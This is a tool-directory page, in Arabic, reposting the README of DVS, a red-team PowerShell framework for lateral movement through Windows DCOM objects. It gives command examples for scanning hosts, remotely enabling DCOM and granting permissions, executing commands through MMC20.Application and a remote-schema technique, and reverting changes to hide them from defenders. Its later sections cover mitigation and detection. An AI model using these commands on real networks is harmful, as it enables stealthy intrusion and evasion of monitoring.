Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
DVS — D(COM) V(ulnerability) S(canner) المعروف أيضًا باسم سكين الجيش السويسري الماكر - الحركة الجانبية باستخدام كائنات DCOM | Kitploit
أدوات/GitHubGitHub/scorpioneslabs/dvs
الاستغلالالحركة الجانبيةما بعد الاستغلالاختبار الاختراقالقيادة والسيطرةالفريق الأحمر
GitHubscorpioneslabs/dvs

DVS

D(COM) V(ulnerability) S(canner) المعروف أيضًا باسم سكين الجيش السويسري الماكر - الحركة الجانبية باستخدام كائنات DCOM

عرض المستودع
25647منذ 5 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

D(COM) V(ulnerability) S(canner) المعروف أيضًا باسم سكين الجيش السويسري الخبيث - الحركة الجانبية باستخدام كائنات DCOM

هل تساءلت يومًا كيف يمكنك التحرك جانبيًا عبر الشبكات الداخلية؟ أو التفاعل مع الأجهزة البعيدة دون إثارة إنذارات EDRs؟
لنفترض أن لدينا بيانات اعتماد صالحة، أو جلسة نشطة مع إمكانية الوصول إلى جهاز بعيد، ولكننا لا نملك خيارًا لتنفيذ عملية عن بُعد بطريقة معروفة أو متوقعة أو تحت مراقبة عالية (مثل WMI، وجدولة المهام، وWinRM، وPowerShell Remoting).

في هذه السيناريوهات، يأتي إطار عمل DVS للإنقاذ.

إطار عمل DVS هو سكين جيش سويسري يسمح لك باستكشاف الوظائف الضعيفة لكائنات DCOM البعيدة، وتشغيلها، وحتى شن هجمات باستخدامها.

يتم تطوير الإطار بعقلية "الفريق الأحمر" ويستخدم أساليب خفية لاختراق الأجهزة البعيدة.

يحتوي إطار عمل DVS على طرق متنوعة لتجاوز التصلب البعيد ضد DCOM عن طريق إعادة تمكين الوصول إلى DCOM عن بعد ومنح الأذونات اللازمة تلقائيًا للمستخدم المهاجم.

يمكن للإطار أيضًا إرجاع التغييرات على الجهاز البعيد إلى حالتها الأصلية، قبل الهجوم - مما يخفي هذه التغييرات عن المدافعين.

رؤيتنا الرئيسية هي أن الأداة يمكنها أيضًا تنفيذ الأوامر باستخدام كائنات DCOM غير الضعيفة من خلال تقنية رائعة (اقرأ أدناه عن Invoke-RegisterRemoteSchema)

متوافق مع PowerShell 2.0 وما فوق

فيديو يوتيوب لإثبات المفهوم: DVS

إخلاء مسؤولية

هذه الأداة مخصصة لأغراض الاختبار والتعليم فقط. لا يُسمح بأي استخدام آخر لهذا الكود. استخدمها على مسؤوليتك الخاصة.
المؤلف لا يتحمل أي مسؤولية عن سوء استخدام هذه الأداة.
باستخدامك لها، فإنك تقبل حقيقة أن أي ضرر ناتج عن استخدام هذه الأداة هو مسؤوليتك.

الوصول إلى السجل - كيف يستخدم إطار عمل DVS هذا البروتوكول

  • الوصول إلى السجل عن بعد (MS-RRP)

    1. استكشاف المنفذ 445 للتفاعل مع السجل البعيد
    2. التحقق مما إذا كان السجل البعيد ممكّنًا
    3. التفاعل مع السجل البعيد
    4. إذا تم وضع علامة على وضع AutoGrant، تحقق من أذونات الكتابة. وإلا، تحقق من أذونات القراءة
  • موفر السجل القياسي (إذا تم رفض السجل البعيد)

    1. استكشاف المنفذ 135 للتفاعل مع "موفر السجل القياسي" باستخدام WMI
    2. التحقق مما إذا كان StdRegProv متاحًا
    3. التفاعل مع موفر السجل القياسي
    4. إذا تم وضع علامة على وضع AutoGrant، تحقق من أذونات الكتابة، وإلا، تحقق من أذونات القراءة

لماذا هذه الأداة خفية جدًا؟

تتحقق أداة DVS أولاً مما إذا كانت الهوية الأساسية لديها حق الوصول إلى الجهاز البعيد من خلال الخطوات التالية:

  • الإجراءات الأساسية

    1. عمليات المصادقة (إذا لم يتم وضع علامة على SkipRegAuth)
      1. إذا تم توفير بيانات اعتماد، فإنها تنشئ جلسة "صافية فقط". وإلا، ستستخدم الجلسة المسجلة حاليًا.
      2. استكشاف الوصول إلى السجل.
    2. التحقق مما إذا كانت ميزة DCOM ممكّنة
    3. السماح بالوصول إلى DCOM (إذا تم وضع علامة على AutoGrant)، وإلا تفشل
    4. التحقق مما إذا كان المستخدم المسجل / المستخدم المقدم والمجموعات التي ينتمي إليها (عبر ميزة adsi/WindowsIdentity) مخولين للتفاعل مع DCOM (عبر استعلامات السجل البعيد)
    5. منح الأذونات (إذا تم وضع علامة على AutoGrant)، وإلا تفشل
    6. حل اسم المجال من الجهاز البعيد باستخدام NetBIOS عبر TCP (باستخدام NetAPI32، أو حزمة UDP)، إذا فشل سيحاول استخدام السجل (HKLM أو HKCU Hives)
  • Invoke-DCOMObjectScan

    1. التفاعل مع كائنات DCOM
    2. تعداد كائن DCOM وإيجاد الوظائف الضعيفة
    3. التحقق من إمكانية الاستغلال
    4. إنشاء حمولات التنفيذ
    5. جلب معلومات شخصية حول كائن DCOM الضعيف
  • Get-ExecutionCommand

    1. إنشاء حمولات التنفيذ
  • Invoke-ExecutionCommand

مكونات الأداة

  • محلل الحقوق الأمنية - تحليل حقوق الهوية الأساسية للوصول إلى كائن DCOM البعيد
  • منح الوصول عن بعد - منح أذونات للمستخدم المسجل عن بعد (في حالة عدم منحها بالفعل)
  • ماسح DCOM - مسح وتحليل كائنات DCOM المحلية/البعيدة بحثًا عن وظائف ضعيفة يتم توفيرها (يجب تحديد الأنماط وأسماء الوظائف) عندما تكتشف الأداة وظيفة ضعيفة، فإنها تتحقق من الوسائط التي تتضمنها الوظيفة وما إذا كانت الوظيفة لديها القدرة على تنفيذ الأوامر
  • مولد أوامر DCOM - إنشاء حمولة PowerShell للتنفيذ على الجهاز البعيد
  • تقرير - إنشاء تقرير CSV بجميع المعلومات حول كائن DCOM الضعيف
  • تنفيذ الأوامر - تنفيذ الأوامر عبر كائنات DCOM

المؤلف

  • Nimrod Levy

الترخيص

  • GPL v3

السيناريوهات المختبرة

  • من خارج المجال إلى المجال
  • من داخل المجال إلى جهاز آخر مرتبط بالمجال
  • من المجال إلى خارج المجال
  • من الجلسة الحالية إلى جهاز آخر مرتبط بالمجال

أنظمة التشغيل المختبرة

  • Windows 7 SP1
  • Windows 8.1
  • Windows 10
  • Windows Server 2019

الشكر

  • شكرًا لـ Rafel Ivgi على الإرشاد والمساعدة في تصميم العقلية المعمارية للأداة.
  • شكرًا لـ Yossi Sasi لمساعدتي في تحسين السكريبت.
  • شكرًا لـ Gleb Glazkov لكتابة قسم التخفيف والوقاية

التثبيت:

root@kitploit:~
git clone https://github.com/ScorpionesLabs/DVS
powershell -ep bypass
PS> Import-Module .\DVS.psm1
PS> Get-Help Invoke-DCOMObjectScan -Detailed  # احصل على تفاصيل أمر Invoke-DCOMObjectScan
PS> Get-Help Get-ExecutionCommand -Detailed # احصل على تفاصيل أمر Get-ExecutionCommand
PS> Get-Help Invoke-ExecutionCommand -Detailed # احصل على تفاصيل أمر Invoke-ExecutionCommand
PS> Get-Help Invoke-RegisterRemoteSchema -Detailed # احصل على تفاصيل أمر Invoke-RegisterRemoteSchema

Invoke-DCOMObjectScan

تتيح لك وظيفة Invoke-DCOMObjectScan مسح كائنات DCOM والعثور على الوظائف الضعيفة عبر قائمة من الأنماط أو أسماء الوظائف الدقيقة التي أدرجتها في ملف.

  • أمثلة:

    1. تعداد ومسح كائن MMC20.Application (ProgID) من جهاز المهاجم إلى مضيف DC01 دون الاستعلام عن السجل.

      root@kitploit:~
         Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipRegAuth -Username "lab\administrator" -Password "Aa123456!" -Verbose
      

    ملاحظة: لن تقوم الأداة بتحليل أذونات ACL، وعند نجاحها، ستحل جميع المعلومات حول الكائن، باستثناء التفاصيل المذكورة في السجل (مثل اسم الكائن، ملف التنفيذ، إلخ.)

    1. التحقق مما إذا كان كائن MMC20.Application (ProgID) متاحًا من جهاز المهاجم إلى مضيف DC01 دون الاستعلام والتحقق من قائمة الوصول لكائن DCOM.

      root@kitploit:~
         PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipPermissionChecks -CheckAccessOnly -Verbose
      
    2. التحقق مما إذا كان MMC20.Application (ProgID) متاحًا عبر نطاق 10.211.55.4/24. إذا كان موجودًا، ستحاول الأداة تعداد المعلومات عنه. (باستخدام جلسة المستخدم المسجل حاليًا).

      root@kitploit:~
         PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -Hostlist "10.211.55.4/24" -CheckAccessOnly -Verbose
      

Get-ExecutionCommand

تتيح وظيفة Get-ExecutionCommand إنشاء حمولة PowerShell ستتفاعل وتنفذ مع وظيفة DCOM البعيدة بالمعاملات ذات الصلة.

  • أمثلة:
    1. التحقق مما إذا كانت الهوية الأساسية مخولة للتفاعل مع كائن CLSID {00020812-0000-0000-C000-000000000046} عبر عنوان IP 10.211.55.4 باستخدام بيانات اعتماد lab\administrator، ثم ستقوم بإنشاء أمر التنفيذ.

      root@kitploit:~
         PS> Get-ExecutionCommand -ObjectName "{00020812-0000-0000-C000-000000000046}" -ObjectPath "DDEInitiate" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -Verbose
      
    2. التحقق من الوصول إلى DCOM،
      في حالة عدم امتلاك الهوية الأساسية للأذونات اللازمة أو إذا كانت ميزة DCOM معطلة، ستقوم الأداة بتمكين ميزة DCOM، ومنح الوصول للهوية والتفاعل مع كائن MMC20.Application (ProgID) عبر عنوان IP 10.211.55.4 باستخدام بيانات اعتماد lab\administrator، وستقوم بإنشاء أمر التنفيذ لك.
      أخيرًا، ستعيد الجهاز إلى نفس الحالة التي كان عليها قبل الهجوم.

      root@kitploit:~
         PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -AutoGrant -Verbose
      
    3. محاولة التفاعل مع كائن (ProgID) عبر نطاق باستخدام الجلسة المسجلة حاليًا دون تحليل أذونات ACL ثم ستنشئ أمر التنفيذ.

Invoke-ExecutionCommand

تتيح وظيفة Invoke-ExecutionCommand تنفيذ الأوامر عبر كائن DCOM باستخدام المستخدم المسجل أو بيانات الاعتماد المقدمة.

  • أمثلة:

    1. التحقق من الوصول إلى DCOM،
      في حالة عدم امتلاك الهوية الأساسية للأذونات اللازمة أو إذا كانت ميزة DCOM معطلة، ستقوم الأداة بتمكين ميزة DCOM، ومنح الوصول، والتفاعل مع كائن MMC20.Application (ProgID) عبر النطاق: 10.211.55.1/24 باستخدام جلسة المستخدم المسجل حاليًا وتنفيذ الأوامر التالية:

      1. تنفيذ أمر cmd.exe /c calc

      2. تعيين سمة Frame.Top إلى 1 أخيرًا، إعادة الجهاز إلى نفس الحالة التي كان عليها قبل الهجوم.

        root@kitploit:~
         PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -AutoGrant -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")},@{ObjectPath="Frame.Top";Arguments=@(1)} ) -HostList "10.211.55.1/24" -Verbose
        
    2. محاولة التفاعل مع كائن MMC20.Application (ProgID) باستخدام بيانات اعتماد lab\administrator عبر عنوان IP 10.211.55.4، وتنفيذ الأمر التالي: cmd.exe /c calc.

Invoke-RegisterRemoteSchema

تتيح وظيفة Invoke-RegisterRemoteSchema تنفيذ الأوامر عبر كائنات DCOM التالية باستخدام المستخدم المسجل أو بيانات الاعتماد المقدمة:

  • ShellBrowserWindow
  • ShellWindows
  • Internet Explorer
  • ielowutil.exe

ملاحظة: هذه الكائنات DCOM لا تحتاج إلى أي وصول إلى hive الجهاز المحلي. يمكنها أن تثبت وجودها مع أي مستخدم يمكنه الوصول إلى الجهاز البعيد!

  • أمثلة:
    1. تنفيذ أمر cmd /c calc على نطاق 10.211.55.1/24 باستخدام الجلسة المسجلة حاليًا، ومنح الصلاحيات إذا لزم الأمر

      root@kitploit:~
         PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.1/24" -Command "cmd /c calc" -AutoGrant -Verbose
      
    2. تنفيذ أمر cmd /c calc على الجهاز البعيد 10.211.55.4 باستخدام بيانات اعتماد مقدمة

      root@kitploit:~
         PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.4" -Command "cmd /c calc" -Username "Administrator" -Password "Aa123456!" -Verbose
      

العمل المستقبلي

  • تحليل وتغيير قواعد جدار الحماية عن بعد

التخفيف والتوصيات

تقنية MITRE: T1021.003 - Remote Services: Distributed Component Object Model

الوقاية

  • تعطيل الوصول إلى DCOM عن بعد

    • اعتبارات:
      • تطبيقات الطرف الثالث التي تعتمد على DCOM
      • إدارة النظام عن بعد باستخدام "بنية إدارة Windows" لن تعمل
      • مشاكل محتملة مع كائنات COM
  • منع الوصول إلى السجل عن بعد إذا لم يكن مطلوبًا

    كلا الخيارين يصعب تنفيذهما في بيئة مؤسسية دون تأثير على التوفر.

    ومع ذلك، يمكن أن يكون خيار تحسين جيدًا للأجهزة الطرفية التي لا تحتاج إلى إدارة عن بعد بالمجال. (مثل الأجهزة الطرفية المستقلة)

  • تمكين ملفات تعريف المجال والخاصة في جدار حماية Windows Defender

    • تتجاوز أداة DVS عنصر التحكم الأمني هذا عن طريق إنشاء قاعدة في جدار الحماية للسماح بأي اتصال RPC ديناميكي
  • الانتقال إلى استخدام LAPS لتقليل سطح الهجوم. إذا كان لكل كمبيوتر في المجال كلمة مرور مسؤول محلية مختلفة، فلا يمكن استخدام هذا الحساب للحركة الجانبية.

  • يمكن لتصلب حقوق وصول المستخدم منع هذا الهجوم

    • باستخدام كائنات نهج المجموعة، يمكن للمؤسسة إزالة المسؤولين والمستخدمين والمجموعات الأخرى من القائمة، والانتقال إلى استخدام مجموعة/مستخدم خاص للإدارة المركزية لا يقوم بتسجيل الدخول تفاعليًا إلى أجهزة الكمبيوتر الأخرى

      root@kitploit:~
      [Computer Configuration\Windows Settings\Security Settings\Local Policies\User Rights Assignment\Access this computer from the network]
      

      في أدلة التصلب الرسمية مثل CIS، توصي الإعدادات لـ [Access this computer from the network] بقيم "administrators و Remote Desktop Users أو Authenticated users". هذه التوصيات عرضة لأداة DVS.

  • تصلب أذونات DCOM عن طريق إزالة حقوق المسؤولين من الأذونات - Remote Launch و Remote Activation.

    • [Computer Configuration\Windows Settings\Local Policies\Security Options\DCOM]: Machine Launch Restrictions in Security Descriptor Definition Language (SDDL) syntax
  • استخدام جدار حماية قائم على المضيف / جدار حماية واعي بالتطبيقات لحظر الوصول إلى DCOM بين أجهزة الكمبيوتر. خاصة لجهاز كمبيوتر ليس جزءًا من البنية التحتية لتكنولوجيا المعلومات أو الإدارة.

الكشف

  • مراقبة التغييرات في السجل في المواقع التالية:

    root@kitploit:~
       [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]
    

    هذا المفتاح هو إعدادات أذونات DCOM. إذا تم تغييرها، فقد يعني ذلك أن خصمًا استخدم أداة DVS لإزالة التصلب.

    root@kitploit:~
      [HKEY_LOCAL_MACHINE\SOFTWARE\Classes]
    

    "تحتوي المفاتيح الفرعية وقيم السجل المرتبطة بالمفتاح [HKEY_LOCAL_MACHINE\SOFTWARE\Classes] على معلومات حول تطبيق مطلوب لدعم وظائف COM. تتضمن هذه المعلومات تنسيقات البيانات المدعومة، ومعلومات التوافق، والمعرفات البرمجية، وDCOM، والتحكمات." مرجع مركز مطوري Microsoft

    root@kitploit:~
      [MACHINE\SOFTWARE\policies\Microsoft\windows NT\DCOM\MachineLaunchRestriction]
    

    قد يشير تغيير هذا المفتاح إلى أن أداة DVS قد عطلت قيود remote activation و Remote Launch الخاصة بـ DCOM.

  • استخدام جدار حماية واعي بالتطبيقات لحظر الوصول إلى DCOM بين أجهزة الكمبيوتر. خاصة من جهاز كمبيوتر ليس جزءًا من البنية التحتية لتكنولوجيا المعلومات أو الإدارة.

  • يمكن استخدام نظام منع الاختراق (مثل Snort, Suricata) للكشف عن بروتوكول DCOM القائم على RPC (MS-RPC, MS-RPCE) وبروتوكول السجل البعيد (MS-RRP).

    • قاعدة Snort محتملة
  • مراقبة جدار حماية Windows Defender عن طريق تمكين سجل التدقيق على حركة المرور المحظورة لملفات تعريف domain و private.

  • مراقبة التغييرات على المفتاح التالي. قد يشير إلى أن أداة DVS قد أنشأت قاعدة لتجاوز قيود RPC الديناميكية لجدار حماية Microsoft Defender.

    root@kitploit:~
      [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules]
    
  • مراقبة سجلات أحداث Windows:تمكين تدقيق الأحداث. إعدادات التدقيق التي يجب تمكينها عند النجاح والفشل: | | |

انتقل إلى مفتاح التسجيل هذا: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole] أنشئ قيم DWORD جديدة بقيمة '1' تسمى ActivationFailureLoggingLevel | CallFailureLoggingLevel | InvalidSecurityDescriptorLoggingLevel

  • 4624 (تسجيل دخول ناجح) - يمكن للفريق الأزرق إنشاء ربط للأحداث لالتقاط الاتصالات من الأجهزة البعيدة إلى DCOM. مثال:
    • معرف الحدث 4624 - تسجيل الدخول
    • اسم الحساب: SYSTEM
    • اسم العملية: C:\Windows\System32\services.exe
  • 4680 (مستخدم غير معروف أو كلمة مرور خاطئة) - سيحدث عند استخدام مستخدم أو كلمة مرور خاطئة
  • 4688 (إنشاء عملية) - راقب العمليات الضعيفة التي تنشئ عمليات فرعية خطيرة باستخدام مستخدم إداري. مثال:
    • اسم العملية المنشئة: C:\Windows\System32\mmc.exe -> اسم العملية الجديدة: C:\Windows\System32\cmd.exe
    • اسم العملية المنشئة: C:\Windows\System32\svchost.exe -> اسم العملية الجديدة: C:\Windows\System32\mmc.exe
  • 8002 (NTLM) - تدقيق حركة مرور NTLM الواردة التي سيتم حظرها. مثال:
    • اسم العملية المتصلة: C:\Windows\System32\mmc.exe
    • هوية مستخدم العملية المتصلة: USER
    • هوية مجال العملية المتصلة: DOMAIN
  • 8003 (NTLM) - تدقيق مصادقة NTLM في هذا المجال. مثال:
    • المستخدم: User
    • المجال: DOMAIN
    • محطة العمل: ATTACKER
    • العملية: C:\Windows\System32\mmc.exe / C:\Windows\System32\dllhost.exe / C:\Windows\System32\svchost.exe / C:\Program Files\Internet Explorer\iexplore.exe
    • نوع تسجيل الدخول: 3
  • 10010 (Microsoft-Windows-DistributedCOM) - الخادم %1 لم يسجل مع DCOM خلال المهلة المطلوبة.
  • 10014 (Microsoft-Windows-DistributedCOM) - لفشل تفعيل CLSID بسبب تعطيل إعدادات التفعيل عن بُعد لـ COM+.
  • 10015 (Microsoft-Windows-DistributedCOM) - فشل تنفيذ DCOM بسبب عدم كفاية الأذونات.
  • 10016 (Microsoft-Windows-DistributedCOM) - فشل تنفيذ DCOM بسبب عدم كفاية الأذونات. مثال:
    • إعدادات الأذونات الافتراضية للجهاز لا تمنح إذن التفعيل المحلي لتطبيق COM Server مع CLSID {C2F03A33-21F5-47FA-B4BB-156362A2F239} و APPID {316CDED5-E4AE-4B15-9113-7055D84DCC97} للمستخدم DOMAIN\Scorpiones
  • 10021 (Microsoft-Windows-DistributedCOM) - واصف الأمان للتفعيل والتشغيل لتطبيق COM Server مع APPID {0000000} غير صالح.
تنزيل الأداة
  1. محاولة التفاعل مع كائنات DCOM
  2. تنفيذ الأوامر
  • Invoke-RegisterRemoteSchema

    1. محاولة التفاعل مع أحد كائنات DCOM التالية:
      • InternetExplorer.Application - كائن COM الخاص بـ InternetExplorer
      • {D5E8041D-920F-45e9-B8FB-B1DEB82C6E5E} - كائن COM آخر ينتمي إلى Internet Explorer
      • {C08AFD90-F2A1-11D1-8455-00A0C91F3880} - ShellBrowserWindow
      • {9BA05972-F6A8-11CF-A442-00A0C90A8F39} - ShellWindows
    2. تسجيل مخطط بعيد (مثل http://)
    3. تكوين المخطط لتنفيذ الأوامر من محتوى المخطط
    4. تنفيذ الأمر
  • التحقق مما إذا كان CLSID {00020812-0000-0000-C000-000000000046} موجودًا وقابلاً للوصول عبر عنوان IP 10.211.55.4. إذا كان موجودًا، ستحل الأداة المعلومات عنه. (باستخدام بيانات اعتماد lab\administrator).

    root@kitploit:~
       PS> Invoke-DCOMObjectScan -Type Single -ObjectName "{00020812-0000-0000-C000-000000000046}" -Hostlist "10.211.55.4" -CheckAccessOnly -Username "lab\administrator" -Password "Aa123456!" -Verbose   
    
  • مسح جميع الكائنات المخزنة في مسار محدد (مثل C:\Users\USERNAME\Desktop\DVS\objects.txt) عبر عنوان IP 10.211.55.4، والعثور على قائمة الوظائف الموجودة في الملف المحدد مثل vulnerable.txt باستخدام بيانات اعتماد lab\administrator مع التكوين التالي:
    أقصى عمق: 4
    أقصى نتائج: 1 (نتيجة واحدة لكل كائن)
    وضع AutoGrant: إذا لم يكن لدينا حق الوصول إلى الكائن أو إذا كانت ميزة DCOM معطلة، قم بتمكين ميزة DCOM وإجراء منح تلقائي لكائن DCOM ذي الصلة.
    أخيرًا، أعد الجهاز إلى نفس الحالة التي كان عليها قبل الهجوم.

    root@kitploit:~
       PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type List -ObjectListFile "C:\Users\USERNAME\Desktop\DVS\objects.txt" -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -AutoGrant -Username "lab\administrator" -Password "Aa123456!" -Hostlist "10.211.55.4" -MaxResults 1 -Verbose
    
  • مسح جميع الكائنات المخزنة على الأجهزة البعيدة المتاحة من نطاق 10.211.55.1/24 والعثور على الوظائف الضعيفة المحتملة من القائمة الموجودة في الملف المحدد (مثل C:\Users\USERNAME\Desktop\DVS\vulnerable.txt)، واستبعاد الكائنات الموجودة في الملف المحدد (مثل C:\Users\USERNAME\Desktop\DVS\exclude.txt)، وتخطي الخاصية التي تحمل نفس الاسم في المسارات الأخرى على نفس الكائن.
    ملاحظة: قد يؤدي العلم SkipSameProperyName إلى فقدان الوظائف الضعيفة عندما يكون هناك نفس اسم الخاصية مع تفضيلات مختلفة (طرق/خصائص أخرى) أو سلسلة عمق مختلفة.

    root@kitploit:~
       PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type All  -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -ExcludeFileList "C:\Users\USERNAME\Desktop\DVS\exclude.txt" -Hostlist "10.211.55.1/24" -SkipSameProperyName -Verbose
    
  • MMC20.Application
    10.211.55.1/24
    root@kitploit:~
       PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.1/24" -SkipPermissionChecks -Verbose
    
  • محاولة التفاعل مع كائن MMC20.Application (ProgID) عبر عنوان IP 10.211.55.4، دون الاستعلام عن السجل.

    root@kitploit:~
       PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -SkipRegAuth -Verbose
    
  • root@kitploit:~
       PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -Username "lab\administrator" -Password "Aa123456!" -Verbose
    
  • محاولة التفاعل مع كائن MMC20.Application (ProgID) باستخدام جلسة المستخدم المسجل حاليًا دون تحليل أذونات ACL، وتنفيذ الأمر التالي: cmd.exe /c calc.

    root@kitploit:~
       PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -SkipPermissionChecks -Verbose
    
  • يمكن استخدام قواعد التحكم في التطبيقات كحلقة أخيرة من عناصر التحكم الأمنية لمنع العمليات الضعيفة من إنشاء عمليات فرعية خطيرة أو تحميل DLLs.
    أمثلة:

    root@kitploit:~
    mmc.exe -> cmd.exe
    explorer.exe -> regsvr.exe
    visio.exe -> wmic.exe
    excel.exe -> Rundll32.exe
    outlook.exe -> cmd.exe
    
  • يمكن استخدام قواعد تقليل سطح الهجوم من Microsoft لمنع العمليات الضعيفة من إنشاء عمليات فرعية خطيرة.

  • تدقيق أحداث تسجيل الدخول إلى الحساب
    تدقيق أحداث تسجيل الدخول
    تدقيق الوصول إلى الكائنات
    تدقيق NTLM